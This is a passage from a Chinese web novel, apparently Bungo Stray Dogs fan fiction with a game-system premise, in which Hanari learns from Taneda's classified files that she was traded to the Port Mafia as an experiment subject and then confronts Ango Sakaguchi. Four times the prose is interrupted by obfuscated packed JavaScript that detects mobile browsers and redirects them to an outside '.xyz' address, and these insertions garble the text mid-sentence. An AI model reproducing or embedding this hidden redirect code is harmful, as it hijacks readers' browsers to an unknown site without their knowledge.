“耶!出发!”江户川乱步立刻欢呼起来,刚才那点沉闷瞬间烟消云散。 然而,当他们好不容易走到山下的和果子铺,花理把包装精美的五盒和果子递到他手里时,江户川乱步却只是笑眯眯地接过,并没有立刻开吃。他抱着盒子,翠绿的眼睛直勾勾地盯着花理,嘴角勾起一个意味深长的弧度。 “花理。”他慢条斯理地叫她名字,“名侦探还有其他的线索哦。” “诶?”绵津见花理愣了一瞬,下一刻,反应过来对方意思的她就斩钉截铁的,“好的。成交。” “这次要几盒?” 她从善如流地一边问江户川乱步,一边转头拜托和果子店的店员再拿几盒出来,江户川乱步笑眯眯地伸出手指比了个七的数字,成功拿到了更多的、他抱着都有些摇晃的和果子。 “嗯嗯——算你有诚意吧。”翠绿的眼睛在阳光下闪烁着喜悦的光芒,点了点头,“名侦探觉得——” 他拖长了尾音:“现在我们该去找更专业的人问问了!” “更专业的...人?”花理接过他手里的几盒点心帮他抱着,疑惑地抬头。。 “当然啦~”江户川乱步弯腰凑近她,压低声音道,“这种涉及「非自然现象」的大事情,当然要找专门处理「非自然现象」的人啊!” 他直起身,得意地晃了晃食指:“比如——” “横滨掌握最多相关情报的,异能特务科。” 花理微微睁大眼睛,有些讶异地看他。 异能特务科? 「已为您自动搜寻词条【异能特务科】出现记录。」 「异能特务科」 「描述:不为人所知的秘密政府部门。隶属于内务省,负责管理日本境内的异能者。是夏目漱石提出的“三刻构想”中的“白昼”部分。」 「已解锁相关词条:种田山头火、夏目漱石。」 「您曾在:」 「与太宰治执行的探察任务中,与mimic的对峙时解锁【异能特务科】词条。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098114|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「在森鸥外的诊所中,您收集到游戏内文本关于NPC病人【疑似接触性异能……建议转诊至异能特务科指定机构……】情报」 “……”花理斟酌了片刻,抬头问江户川乱步,“你认识吗?” 她还是个黑手党,直接去找对方真的好吗?花理有些犹豫。 江户川乱步手里沉重的盒子被花理分担了一半,现在终于腾出手来,毫不犹豫地拆开一盒把和果子送入口中。闻言骄傲地挺起胸膛,翠绿的眼睛闪烁着自信的光芒: “当然不认识啦!” 花理:“……?” “名侦探才不需要认识那些无聊的大人呢!”江户川乱步一边咬下一口点心,一边不甚在意地如此点评道,他确定不太在意那些大人物。收到花理无语的目光,他话锋一转,语气轻快: “但是!名侦探知道该找谁呀!” 他神秘兮兮地凑近花理,压低声音,仿佛在分享一个惊天秘密:“掌握最多秘密的人,当然要去他最喜欢放松的地方堵他咯……走!名侦探现在就带你去!” 花理顺手从那盒拆开的和果子里顺了一块送进嘴里,江户川乱步看着她满脸兴致勃勃。她看着江户川乱步那副“跟我来准没错”的笃定表情,再想想自己那堆理不清的线索,只能认命地叹了口,跟上这位不按常理出牌的名侦探。 江户川乱步带着花理七拐八绕,最终停在了一条僻静但烟火气十足的街道上。空气中弥漫着烤串、酱油和清酒的香气。花理这才恍惚意识到已经到吃晚饭的时间了。 “……饿了。” “名侦探还好哦?” “……那是因为你一直在吃各种点心都没停过吧!” 江户川乱步“唔……”了一声,视线从她身上移开,目标明确地走向一家挂着暖帘、看起来颇有年头的居酒屋。 “就是这里啦!”江户川乱步掀开暖帘,率先钻了进去,“花理饿的话刚好吃饭!” “……”怎么可能啊在这种时候。绵津见花理叹了一口气,屈服地抱着和果子跟着他走进去。 店内光线有些昏暗,木质的桌椅泛着油光,三三两两的客人低声交谈着。江户川乱步的目光在店内扫了一圈,立刻锁定在角落的一个卡座。 花理跟着他的视线望去—— 卡座里坐着一个男人。他穿着深色的和服,身形高大,最引人注目的便是那颗……异常宽阔、发际线感人的脑袋,以及下巴上精心修剪的山羊胡。 他面前摆着几碟小菜和一壶清酒,正悠闲地自斟自饮,手里还拿着一把折扇,有一下没一下地轻轻摇着。打着哈欠,姿态与其说是来吃饭,不如说是来享受某种闲适的氛围。 「角色:种田山头火」 「身份:异能特务科长官」 「状态:下班后的悠闲时光(被打扰中)」 「描述:日本异能者管理机构的最高负责人之一。夏目漱石“三刻构想”中“白昼”的执行者。拥有极高的权限和深不可测的城府。此刻心情似乎……还不错?」 江户川乱步毫不客气地拉着花理走过去,一屁股坐在种田山头火对面的空位上,把怀里抱着的和果子盒子“咚”地一声放在桌上,震得碟子里的毛豆都跳了一下。 “异能特务科的长官大叔。”他大大咧咧地说,“我们有事情想问你。” 47.解码 江户川乱步大大咧咧的声音在略显嘈杂的居酒屋里也显得格外清晰。邻桌几个客人投来好奇的目光,又很快移开。种田山头火摇扇子的动作顿住了。他抬起头,扫过江户川乱步,又落在他身边抱着点心盒子的花理身上,尤其是在她胸口的港口Mafia徽章上停留了片刻。 他的脸上没有明显的惊讶,只是眉毛几不可查地挑了一下,嘴角勾起一丝了然的弧度,那笑容温和中带着一丝不易察觉的审视,仿佛在看一出颇为有趣的小戏。 “嗯?这不是武装侦探社的江户川君吗?”种田山头火的声音低沉而平稳,带着一丝下班后的慵懒,“真是稀客。还带着……” “一位港口Mafia的小朋友?”他的目光在花理身上饶有兴致地转了一圈,“这组合倒是新鲜。” 江户川乱步毫不在意对方话里的探究,他自顾自地在对方面前坐下,花理看了看种田山头火眼里一闪而过的排斥和明显的叹气动作,顿了顿,不知道是不是该跟过去好。 “花理,你过来呀。”江户川乱步倒是丝毫不在意种田山头火嫌弃的小动作,转过身来扯着花理的手腕往椅子边带了带,没什么精神地说道,“异能特务科的大叔不会对你怎么样的啦。” 虽然正当着人家的面,但花理切实的疑问了:“怎么说?” “我可是Mafia诶。” “横滨有很多Mafia啊。不是花理你想的那种情况啦……” “这个我姑且知道……只是送上门还理直气壮地问问题的Mafia很少见吧?” “唔。”江户川乱步仍然眯着眼,闻言停顿了片刻,然后摊了摊手,“不会啊。” “因为这个大叔早就认识你了嘛。对吧,大叔?” 他转向桌子,一只手撑在桌沿微微向前倾身。笑嘻嘻的表情,以至于理所应当的表情对种田山头火问道。花理讶异地随着他的视线看过去,种田山头火只是笑了一声,微不可见地轻轻摇头,像是有些无奈,随机岔开了话题。 “所以、”种田山头火慢悠悠地抿了一口酒,折扇轻轻点着桌面,抬头却是对花理露出一个友好的笑,“两位是来做什么的?” 做什么?花理卡了片刻,更大的方面来说,她是为了走主线查清身份才来的,但来找他大概是…… “我们想问问有关横滨半年前的那场暴雨的详细记录。” “哦?”种田山头火笑容依旧,隐隐有些威胁感,“为什么呢?” “我不记得异能特务科、武装侦探社和港口Mafia有什么友好的情报共享协议吧?现在,一位侦探社的王牌和一位Mafia崭露头角的新人小姐来找我,是为了这个吗?港口Mafia应该有自己的情报源才对吧?” “Mafia情报部的绵津见花理小姐?” 等一下、你还真认识我啊? 被叫出名字,花理微微瞪圆了眼睛。张了张嘴,有些迟疑地看着他:“这是我的个人行动……?” “那我应该怎么看待你的个人行动呢?绵津见小姐。这是你对港口Mafia不信任、朝其他势力投诚的表现,还是我应该相信你确实如此不防备地走入敌对势力的范围?”种田山头火笑眯眯地这样问道。 花理沉默了片刻,盯着秃头的大叔看了几秒,心里顿感不妙。她蹙了蹙眉,手握紧手机,屏幕上赫然是联系人中原中也的页面:“……” “等一下、不要吓花理啦!”江户川乱步本来兴致勃勃地看着他们的交流,直到看到花理往后撤步的,手摸到枪上的动作,这才意识到事情好像有点超规格发展的他不满地向种田山头火看去,他像猫被恐吓到时喵喵大叫一般,带着点抱怨这样说道,站起身拦在花理前面。 眯着眼盯着对面的名侦探身体微微前倾,翠绿的眼睛直视着种田山头火,脸上的笑容收敛了些许: “你明明知道花理总有一天会来吧?” “这又是什么意思……”花理心里一跳,就像游戏中固定的任务流程,总会找到关键npc一样?可是、这句话由他们说出来、也太奇怪了吧? 江户川乱步没有回头,也没有回答她的问题。只是朝种田山头火伸了伸手: “我们想查点东西。关于半年前……横滨那场特大暴雨的详细记录。还有……”他顿了顿,加重语气,“所有的关联报告!要最详细的那种!” 种田山头火摇扇子的动作彻底停了下来。他放下酒杯,眼睛微微眯起,捋了捋自己的山羊胡。目光在江户川乱步和花理之间来回扫视,最后定格在花理皱着眉头、视线在其余两人身上来回游移的脸上。 居酒屋嘈杂的背景音仿佛在这一刻被隔绝开来,卡座周围的气氛瞬间变得有些凝滞。 “理由?”种田山头火的声音依旧平稳,但那股无形的压力却陡然增强。他手中的折扇不再摇晃,只是轻轻点在桌面上。 江户川乱步毫不退缩,翠绿的眼睛闪烁着洞察一切的光芒:“理由就是……”他拖长了调子,带着名侦探特有的笃定,“名侦探怀疑,那场暴雨和「海神」的传说有关! “……更和这位绵津见小姐的有关!” “……诶?”这是蚊香眼的花理,她压低了声音,凑到江户川乱步耳边,“等等、这是能说的吗?” 她看着江户川乱步,一阵心累。关于这种天方夜谭的猜想,就这样说出了,被对方当成中二病也就算了,万一的万一被当真了…… 她岂不是会被抓起来研究……!那种事情不要啊…… “……”种田山头火也微微地愣了愣,推了推眼睛,忍俊不禁,“这可真是了不起的推论啊。” 花理的心提到了嗓子眼。她能感觉到种田山头火的目光如同实质般落在自己身上,带着审视和一丝了然?仿佛他早已预料到会有这么一天。 种田山头火沉默了片刻,手指无意识地摩挲着光滑的扇骨。他看了看桌上那堆包装精美的和果子盒子,又看了看江户川乱步那副“你不给就赖着不走”的架势,最后目光再次落在花理身上,那眼神复杂难辨,仿佛在评估着什么。 最终,他轻轻叹了口气,嘴角那抹玩味的弧度加深了些许,带着一种“真拿你没办法”的无奈,又像是某种更深层次的算计。 “呵……”种田山头火轻笑一声,重新拿起酒杯,“乱步君,你还真是……会给我找麻烦啊。” 他晃了晃杯中清澈的酒液,目光透过杯沿看向花理,语气带着一丝不易察觉的探究,“绵津见小姐……看来,你的「人生」比我想象的还要有趣呢。” 他放下酒杯,没有再多问,只是按下了桌上的一个通讯按钮。花理这才注意到他手边有个小巧的通讯器,低声吩咐了几句。没过多久,一个穿着黑色西装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105238|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、表情严肃的年轻男子快步走进居酒屋,将一个密封的牛皮纸文件袋放在桌上,又无声地退了出去。 “你要的东西在这里。”种田山头火将文件袋推到花理面前,“按照规定,这些属于机密文件,不能带离,你只能在这里、我的监视下查阅。另外……”他看向花理,语气带着一点感叹,顿了顿,他又只是挥了挥手,继续拿起桌上的清酒自酌: “很多时候,知道的越多不一定代表的越幸福。” 花理:“……”谢谢,她知道。但她现在是在玩游戏,不得多玩点回本吗。 她看向江户川乱步,青年凑到她身边,扬了扬下巴示意她打开文件。花理拿起文件袋,解开缠绕的棉线,抽出里面的报告。 报告内容极其详尽,远超老妇人的描述和新闻的简讯。里面包含了精确到分钟的气象数据、卫星云图、受灾区域的高清航拍照片、以及各部门的应急响应记录。 触目惊心的照片展示着被淹没的街道、倒塌的房屋、搁浅的船只。卫星图的巨大风暴、外海航拍的黑色漩涡。其中一张照片引起了花理的注意——那是横滨港延案的沙滩上,在汹涌的浪潮肆虐过后,沙滩上却留下了一个完好无损的人影。 花理的心脏狂跳起来。她立刻翻到记录中所指引的附件。 这份记录相对简短,却将一切都串联了起来: ∥特殊收容·档案∥ 「收容日期:暴雨灾害结束次日(2016/08/07)」 「收容地点:横滨港西区三号码头废墟」 「收容对象:一名昏迷的本国女性。年龄目测15-17岁,无身份证明,无随身物品。体表无外伤,生命体征微弱但平稳。身着破损的深蓝色衣物,疑似校服。」 「状态:深度昏迷,对外界刺激无反应。脑部扫描显示异常活跃信号,海马体区域存在不明阴影。」 「处理:转移至内务省指定医疗机构进行隔离观察及治疗。」 「备注:该对象被发现时,周身检测到微弱的水系能量残留,与港口海域监测到的「异常能量」频谱高度吻合。关联事件:H-0721。」 「经咒术届合作单位(京都咒术师协会)确认,初步判定为「咒力」与「异能力」结合能量残留。」 在她看到这里的同时,系统在旁边弹出了光屏,为她重现当时在森鸥外的地下诊所里发现的内容。 接下来的内容将全部都串起来了,当时被屏蔽的内容在此刻终于解码: 「主诉(第一发现人代述):暴雨夜后于横滨港区近海浅滩发现。深度昏迷,生命体征微弱。体表无外伤。」 「穿着【□□□□□□□□□□】→东京都立咒术专门高等学校校服,佩戴学生证,姓名为「绵津见花理」。本档案以此名字作为记录。」 「苏醒后记忆严重缺失(对个人身份、经历、家庭等信息完全无法回忆)。偶发不明原因剧烈头痛及短暂意识空白。」 「处置记录: 「2016/08/07,由第一发现者(渔民)移交至(□□□□□)→异能特务科∥.」 「后,由(□□□□□)→港口Mafia提出申请,移交至(□□□□□)→港口Mafia∥.」 「港口Mafia方签字:森鸥外」 「负责人签字:种田山头火」 48.交易 「检测到主线相关剧情进展。」 「主线【你遗忘的记忆里】章节【遗忘之河,勒忒之水】进度提升!」 「解锁主线重要词条:【东京都立咒术专门高等学校】【海上的风暴】【无人认领的少女】」 「主线章节一完成度到达60%,请积极探索主线……」 花理翻完所有报告,沉默了一会儿。一股寒意从脊椎窜上头顶。她默默地抬头看了种田山头火一眼。对方也正看着她,仿佛早已预料到她的反应。没什么特别的表现,仍然微笑着看着她,见她看过来,微微扬了扬手,作出「请」的动作。 花理一边重新装好文件递过去,心里思绪万千。虽然这是游戏,但代入感太强后,关于「绵津见花理」的人生对她而言也太过真实。一步步抽丝剥茧到收集完这些信息,将已有的拼图拼凑到一起,得到的故事令她忍不住汗毛肃立。 毫无疑问,这就是「她」的过去。曾经就读于一所名叫东京都立咒术专门高等学校的高专,在半年前突兀地出现在海边、无人认领。 花理的视线在光屏上的东京都立咒术专门高等学校上停留了两秒,有些迟疑。 听起来像是某种宗教学校?这正规吗…… 不过考虑的这个世界甚至有异能,似乎也还可以接受? “看完了这些,绵津见小姐感觉如何?” 种田山头火确认为她交回的文件无误,这样抬头问她,花理张了张嘴: “我……” 像是触发了什么开关,她还没开口,眼前的画面就又变了样子: 「异能【见证者】被动触发!」 「检测到关键信息源:种田山头火」 「信息回溯:谁人的记忆·交易」 眼前的景象瞬间扭曲模糊,居酒屋的嘈杂声浪如同被按下了静音键,周围的环境如同被水洗去的颜料般褪色消失。取而代之的,是一个光线昏暗、充满消毒水气味的房间。 视角似乎是俯视的。花理看到病床上躺着一个穿着蓝白条纹病号服的少女——正是她自己。 少女脸色苍白,双眼紧闭,身上连接着各种监测仪器。 病床旁站着两个人。一个是穿着深色和服的种田山头火,他眉头紧锁,正低头看着手中的一份报告。另一个人的长相她没有印象,往旁边看去,系统栏里竟然写着: 「角色:港口Mafia·BOSS·森鸥外」 「异能力·Vita Sexualis」 「近期事件:与异能特务科达成合作」 「状态:一切为了最优解……」 黑色西装、红色围巾。头发扎起成辫的男人,眼神阴郁,看起来有些疲惫。脸上挂着温和的微笑,手指轻轻敲击着花理病床的金属栏杆。 两人的对话如同隔着一层水幕传来,有些模糊,但关键的字句却异常清晰: 种田山头火:“……能量残留确认无误。与海域监测数据完全吻合。她就是能量的源头……或者说、「容器」。” “容器吗……真是有趣的形容。种田君,如此珍贵的样本,你们异能特务科打算如何处理?一直关在这里?”森鸥外轻笑一声,带着点玩味如此问道。 种田山头火沉默片刻:“她的存在本身就是个巨大的不稳定因素。几年前被弄丢后……现在,我们需要评估风险,制定严密的收容方案。” “风险?或许吧。但换个角度看,这也是无与伦比的价值。港口Mafia在横滨扎根多年,对处理这类「不稳定因素」颇有心得。” 他绕着昏迷中的少女走了一圈,摸了摸下巴,抬头如此提议道: “不如……交给我们保管?我保证,会让她发挥出应有的作用。” “哦?森首领,你在打什么主意?” “当然不是。我只是在提议一种更有效率的合作方式。毕竟,让她沉睡在这里,对谁都没有好处。而港口Mafia……可以让她在可控的范围内,为这座城市的稳定做出贡献。当然,一切都在异能特务科的监督之下。 “如何?” 画面一转。视角似乎移到了办公室。种田山头火坐在办公桌后,面前摊开两份文件。一份标题是《关于异能开业许可证发放的初步评估报告》,另一份则是关于她的资料……真正的、更加详细的那份资料。 花理微微睁大眼,努力想要看清。只依稀捕捉到「处置」「咒灵」「实验」等词语。 森鸥外站在窗前,背对着种田,声音带着一种胜券在握的从容:“关于mimic……港口Mafia会妥善处理。他们掀不起太大风浪。至于异能开业许可证……我相信,在港口Mafia证明其有能力维持横滨地下秩序的稳定之后,异能特务科会做出明智的判断。” 种田山头火的手指在桌面上轻轻敲击着,目光在《异能开业许可证》和《关于实验体乙零七番的移交协议》两份文件之间游移。他沉默了很久,最终,拿起笔,在《移交协议》上签下了自己的名字。 「信息回溯结束!」 「关联线索解锁:森鸥外/暴雨后交易」 「支线任务【横滨的幽灵不止一个】关联度上升!相关情报解锁:异能开业许可证」 「角色【绵津见 花理】资料完整度上升!」 「新增词条:」 「【实验体乙零七番】、【咒灵】、【异能开业许可证】」 强烈的眩晕感袭来,花理踉跄一步,差点摔倒。江户川乱步眼疾手快地扶住了她。 “花理?你怎么了?”江户川乱步的声音带着一丝不易察觉的紧张。 花理脸色惨白,大口喘着气,额头上渗出细密的冷汗。刚才看到的画面信息量太大,她难以抑制地产生了头痛感。 容器……样本……移交监管……森鸥外那……《异能开业许可证》…… 原来她进入港口Mafia,根本不是偶然!「到底是先有背景故事在进入港口Mafia还是进入港口Mafia」这个问题终于有了答案……这个世界的背景比她想象的还要完善、在她进入港口Mafia之前,这个身份就已经活动过一段时间,只不过身为「玩家」的她失去了这部分的记忆、作为失忆的「绵津见花理」开始了新游戏而已。 这是一场交易……她是被当成物品一样,是从异能特务科移交给港口Mafia的筹码!甚至是…… 实验体。 这个背景、实在有点太惨了。无论出现在哪个角色身上她都会怜爱,更何况现在就是自己本人的身份卡呢,简直男默女泪…… “我……”花理的声音有些颤抖,她抬起头,看向卡座对面神色如常的种田山头火,又看看身边一脸关切的江户川乱步,一股意外的真情实意的愤怒和悲凉涌上心头。她深吸一口气,强迫自己冷静下来: “……我没事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111253|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这不是可以质问、可以在现在暴露的内容。她压下心里的情绪,拉住江户川乱步,有些勉强道:“……我们先走吧,乱步先生。” 江户川乱步翠绿的眼睛在她苍白的脸上停留了一瞬,那洞察一切的眸光似乎穿透了她勉力维持的镇定。他没有多问,只是反手轻轻拍了拍她的手背,像安抚一只受惊的猫。 “嗯,走吧。”他应道,随即转向种田山头火,眯了眯眼,最终什么也没说,只是拽着花理往门口走。花理强撑着朝种田山头火点点头。 种田山头火微微颔首,目光在花理身上扫过,带着一丝难以言喻的深意:“慢走。” 离开那间弥漫着酒香却冰冷压抑的居酒屋,傍晚的微风吹在脸上,花理却感觉不到丝毫暖意。她像个提线木偶般被江户川乱步拉着走,脑海中反复回放着回溯中看到的画面。 “实验体乙零七番”……这个词条背后代表的沉重过去、她不想去想。 “花理,”江户川乱步的声音打破了令人窒息的沉默,他停下脚步,侧头看着她,“名侦探觉得……你现在需要一点糖分补充能量哦!” 他指了指街角那家灯火通明、散发着甜蜜气息的甜品店,翠绿的眼睛亮晶晶的:“刚才的报酬还没付清呢!” 花理打起精神,看了看他手里的和果子,沉默片刻:“……” 江户川乱步理直气壮:“加上和那个大叔周旋的力气消耗……现在名侦探要吃草莓芭菲、巧克力熔岩蛋糕、抹茶千层……!花理……” 花理看着他那副仿佛刚才什么都没发生的、纯粹期待美食的样子,紧绷的神经莫名松了一丝。糖分……她现在也确实需要一点甜的东西来压住喉咙里的酸苦。 “……好。”她回答。 走进那家甜品店,糖果色的墙壁、蕾丝窗帘、空气中浓郁的奶油和水果香气,以及舒缓的钢琴曲,瞬间将外界的冰冷隔绝开来。江户川乱步欢呼一声扑向菜单,而花理则有些脱力地坐在柔软的卡座里,呼出一口气。 服务生很快端上了他们要的甜品。江户川乱步像快乐地埋头苦干,满足地眯起眼睛。花理则点了一份相对清爽的柠檬挞,小口吃着。甜美的滋味在舌尖化开,稍稍驱散了盘踞在心头的阴霾,但那份沉重的认知依然如影随形。 她看着对面吃得一脸幸福的江户川乱步,犹豫了一下,还是忍不住开口,透露了一些模糊的消息。 “……像是这样。我的过去或许很沉重。”她迫切地希望侦探能帮忙推理出游戏中花理的身世。 江户川乱步舔掉嘴角的奶油,翠绿的眼睛眨了眨,清澈得仿佛能映出人心:“那有什么关系?”他回答得斩钉截铁,甚至带着点理所当然的困惑,“过去的事情、无论存不存在,现在的花理都是这个花理哦。” 他用勺子戳了戳面前的熔岩蛋糕,看着里面流淌出的温热巧克力酱,语气带着点奇妙的笃定:“至于那些、「实验体」什么的……只要花理不在意,就都不算数哦?” “是这样吗?”花理苦笑。 “当然啦。”江户川乱步理所当然地回答,餍足地咬下一口蛋糕的同时不忘贴心地往花理那边推了一份没这么甜的甜品。但…… 他眯着眼,转向窗边。那里有一个模糊的人影。 “比起那个、花理。”江户川乱步说,“线索总是接踵而至……像侦探小说一样,” “直到你找到推理出结局的证据。” 49.坂口安吾 他眯着眼,翠绿的眼眸在甜品店暖黄的灯光下映出浅淡的金,忽地转向落地窗外。那里,一个模糊的人影在街灯投下的树影里显得格外鬼祟。 “诶?什么?”花理愣了愣,顺着他看的方向望过去。 门口那人穿着一身皱巴巴的沙色西装,头发凌乱,鼻梁上架着圆框眼镜,手里拎着个公文包,整个人散发着浓重的“加班加到灵魂出窍”的社畜气息。 他时不时低头看表,目光却总是不经意地、带着探究地扫过甜品店的橱窗,尤其是在她和江户川乱步所在的卡座方向停留。那份挥之不去的社畜疲惫感和此刻明显心虚的动作形成了鲜明对比。 “他是……?” 「角色:双重间谍·异能特务科/港口Mafia·坂口安吾」 「异能力·堕落论」 「近期事件:进行调查」 「状态:疲惫、无奈」 等一下……坂口安吾?这个名字她有印象,似乎是在那份有关mimic机密文件里…… 所以,他一边是港口Mafia情报部成员,一边是异能特务科卧底? 此刻的安吾似乎并非在执行任务,而是在进行私人调查。他的目光多次扫过甜品店橱窗……目标锁定在绵津见花理身上。 “……” 她心里微妙地升起成了某种“打游戏撞上支线任务”的动力。她放下小巧的甜品勺,金属与瓷盘碰撞发出清脆的声响。 “乱步先生,”她站起身,声音平静,“稍等我一下。” 江户川乱步回应正在兴致勃勃地挖起一勺冰激凌塞进嘴里,含糊地“嗯”了一声,抬头看她时,花理已经径直推开了甜品店的玻璃门:“线索就是……” 江户川乱步慢悠悠地把下半句说完,用勺子挖起一大块提拉米苏塞进嘴里,含糊道,“一个知情人送上门了哦。名侦探的建议是……直接抓进来聊聊?” “啊、好像不需要提醒了呢。”他看着花理气势汹汹地走出去的背影眨了眨眼,沉吟片刻,果断地把推过去但花理没吃的那份甜品拽过来开吃。 清脆的风铃声在寂静的街道尤为刺耳。 坂口安吾像是没想到她会直接对上自己,顿了一下,下意识地推了推下滑的眼镜,试图装作若无其事地转身离开。然而,花理的动作更快。 “坂口前辈。”清冽的女声在他背后响起,带着夜风的凉意,瞬间钉住了他的脚步。 花理双手抱臂,食指一下下敲击着小臂,努力露出和善的笑容。她笑眯眯地朝安吾歪了歪头:“好巧。” “咦?您不认识我吗?失礼了……自我介绍一下,我是和您一样同在情报部的……绵、津、见、花、理。” 各种情绪混合在一起,以至于她看着这位明显和她的身世以及mimic的事情有关的前辈时,说话不由自主地带了点咬牙切齿。 坂口安吾背对着花理,身体僵硬了一瞬,才缓缓转过身。镜片后的眼睛里交织着被抓包的尴尬和职业性的警惕: “绵……绵津见小姐?”他的声音有些干涩,“这么晚了,还没休息吗?好巧……” “是啊,好巧。”花理走到他面前,距离不远不近,恰好将他可能逃跑的路线堵死。她脸上挂着礼貌的笑容,眼底却是一片冰凉的探究,“在和朋友吃甜品,那前辈呢?您是「路过」还是在「工作」?” 坂口安吾的表情管理崩了一下,他强作镇定地低头整理了一下并没有歪斜的领带:“咳……你误会了,绵津见小姐。我只是刚好经过,想起有份报告可能需要你补充签名,又看你似乎在忙……” 他的解释在花理无声的注视下显得苍白无力。少女看着他眯起死鱼眼,然后突兀地笑了,热情地抓住他的手臂。 “是、这、样、啊。”花理有些咬牙切齿地说,热情地拽着坂口安吾走进了甜品店。坂口安吾被她扯的踉跄了一下,轻咳一声站直身子,拍了拍皱了的西装:“不用了,我……” 他把没说的话吞回了肚子里。因为面前这个在情报中本该毫无攻击力的少女,正笑吟吟地用一把刀抵住他,看起来真是气疯了。 「R·平平无奇的短刀x1:攻击力感人的新手武器。」 接二连三的都是坏消息,玩游戏还玩的憋屈的一肚子火,如今发现被「间谍」跟踪,正在大暴走状态的花理一脸笑容,威胁般对这个「知情人」一字一句道: “我们进去聊聊……好、吧?” 不、你已经在说肯定句了吧。 坂口安吾看着绵津见花理变得面无表情的脸,忍不住吐槽。 一分钟后,三个人其乐融融地坐在一起。 坂口安吾拿起服务员送上来的柠檬水,强装镇定般喝了一口。花理撑着下巴盯着他看,江户川乱步举起手对服务员说了一句“请再来一份!”。如果不关注凝滞的空气,就只是下班后的良好社交场景……吗? 坂口安吾咳了一声,最终,对下班的渴望和已经连续工作一天的疲惫促使着他第一个开口:“那个……绵津见小姐,” 他的视线从江户川乱步和绵津见花理身上略过,决定先发制人:“和武装侦探社的江户川君一起……您是有特殊任务?有向上报告吗?” 花理笑眯眯的,完全不吃他这一套,反唇相讥:“那坂口前辈呢?在异能特务科兼职,有打报告吗?” 坂口安吾的瞳孔骤然收缩!他猛地抬起头,镜片后的眼睛锐利地看向花理,之前的疲惫瞬间被警惕取代:“你……你怎么知道?!” 花理心中了然。果然!比起她,坂口安吾做的才是真正不能被发现……至少现在还不能被发现的事情。她摆了摆手:“别那么激动、前辈。” “只是偶然得到了一些信息。”花理耸耸肩,语气轻松,“毕竟,你我都是「情报部」的嘛。” 她学着太宰治的语气,意有所指地试图套话:“……无论是mimic还是「实验体」,都是情报的一部分……对吧?” 她到底知道多少?! mimic相关的设计,可是连干部都没有得到消息。实验体更是……听到机密文件的关键词,坂口安吾的脸色彻底变了。他紧盯着花理,眼神复杂难辨,有震惊,有警惕,还有些不可置信。 “……是太宰告诉你的?”他斟酌着问道,看着支着下巴的花理,眼神犹疑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120981|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不哦。”花理语气淡淡,决心从他嘴里先诈出点情报来:“应该换个说法——” “在我知道的内容里,坂口前辈觉得有多少是不能被太宰大人知道的?” “……”很多。关于mimic的、关于他的。 两人对峙般停顿了片刻,随后坂口安吾像是被这句话抓住了命脉般,率先败下阵来。 “绵津见小姐……”他深吸一口气,声音低了许多,“这是威胁?” “相反。我觉得这是合作。”花理不为所动,笑眯眯地如此说道,“毕竟我和前辈都有「不能被知道的事」和「恰好知道点的事」……只是情报部同僚间的小小友好交流,对吧?” 坂口安吾沉默了。凌乱的头发下,镜片后的眼神在灯光的映照下显得格外疲惫和挣扎。过了许久,他才缓缓开口,声音带着一种深深的疲惫和无奈: “你想知道什么?” “……” 想知道什么?关于暴风雨、她被移交到港口Mafia的事情,似乎已经是「结果」一般毋庸置疑的东西。现在该问的是……在最后跳出来的那几个、仍然毫无头绪和线索的词条? 【实验体B3013】、【咒灵】、【异能开业许可证】…… 但在她出声之前,是终于满足地吃完了第四盘蛋糕的江户川乱步。名侦探举了举手吸引他们的注意力,花理看过去,发现他真看着自己。已然餍足的猫好心情地建议道: “我们想问……「镭钵街」和「实验」的事哦?” “……”花理顿了顿,镭钵街她知道,实验她也知道,两个合在一起是什么事?她转向坂口安吾,对方也正一脸迟疑,不过犹疑的点和她不一样: “侦探社的江户川先生……您……” “我是花理雇佣的侦探哦。我的问题就是她的问题,对吧?花理。” 对吧?……对吧。迎着坂口安吾的目光,绵津见花理勉强地点了点头。 坂口安吾抿了抿嘴,再次试图挣扎。他低头看着水杯里扬起的轻微的波澜,似乎真心实意地替她着想:“绵津见小姐。知道的更多不代表是好事。” 